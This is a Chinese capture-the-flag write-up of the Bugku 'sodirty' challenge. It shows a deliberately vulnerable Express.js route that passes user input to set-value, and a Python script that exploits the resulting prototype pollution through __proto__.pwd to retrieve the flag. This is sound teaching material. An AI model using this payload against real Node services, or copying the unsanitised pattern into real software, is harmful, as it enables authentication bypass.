bugku-sodirty


打开题目

 

 

发现只有一个注册的跳转链接

点击试试

 

 查看一下源代码

也没有发现

fuzz一下看看有没有备份文件

找到了www.zip的备份文件

下载下来看看

 

 打开index.js得到源代码

发现set-value,判断存在js原型链污染

对于js原型链污染,下面这篇讲的挺详细的

https://blog.csdn.net/weixin_45551083/article/details/109589386

 1 var express = require('express');
 2 const setFn = require('set-value');
 3 var router = express.Router();
 4 
 5 
 6 const Admin = {
 7     "password":process.env.password?process.env.password:"password"
 8 }
 9 
10 
11 router.post("/getflag", function (req, res, next) {
12     if (req.body.password === undefined || req.body.password === req.session.challenger.password){
13         res.send("登录失败");
14     }else{
15         if(req.session.challenger.age > 79){
16             res.send("糟老头子坏滴很");
17         }
18         let key = req.body.key.toString();
19         let password = req.body.password.toString();
20         if(Admin[key] === password){
21             res.send(process.env.flag ? process.env.flag : "flag{test}");
22         }else {
23             res.send("密码错误,请使用管理员用户名登录.");
24         }
25     }
26 
27 });
28 router.get('/reg', function (req, res, next) {
29     req.session.challenger = {
30         "username": "user",
31         "password": "pass",
32         "age": 80
33     }
34     res.send("用户创建成功!");
35 });
36 
37 router.get('/', function (req, res, next) {
38     res.redirect('index');
39 });
40 router.get('/index', function (req, res, next) {
41     res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');
42 });
43 router.post("/update", function (req, res, next) {
44     if(req.session.challenger === undefined){
45         res.redirect('/reg');
46     }else{
47         if (req.body.attrkey === undefined || req.body.attrval === undefined) {
48             res.send("传参有误");
49         }else {
50             let key = req.body.attrkey.toString();
51             let value = req.body.attrval.toString();
52             setFn(req.session.challenger, key, value);
53             res.send("修改成功");
54         }
55     }
56 });
57 
58 module.exports = router;

通过代码可以发现

路由"/getflag"是用来获取到flag,但存在验证,首先需要传参两个参数key和password,并且对用户字典中的age进行判断,大于79会失败

然后Admin[key]需要等于password,其中passwod为我们控制的 而Admin[key] 我们不知道

因为age是一个已经存在的变量,所以可以用post传参去覆盖

data={"attrkey":"age","attrval":"20"}
update(url,data)

而既然是原型链污染,就可以直接poc自定义一个password了

poc地址:http://114.67.246.176:15688/

借用一下别人的脚本,自己不是很会写脚本。。

import requests
import random
from bs4 import BeautifulSoup
import re
import base64
s = requests.session() #保持同一个会话
def reg(url):
    url=url+"reg"
    r=s.get(url)
    print(r.text)

def update(url,data):
    url=url+"update"
    print(url)
    r=s.post(url,data=data)
    print(r.text)
def getflag(url,data):
    url=url+"getflag"
    r=s.post(url,data=data)
    print(r.text)

url="http://114.67.246.176:15688/"
reg(url)
data={"attrkey":"age","attrval":"20"}
update(url,data)
data={"attrkey":"__proto__.pwd","attrval":"123"}
update(url,data)
data={"password":"123","key":"pwd"}
getflag(url,data)

跑一下,成功得到flag

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM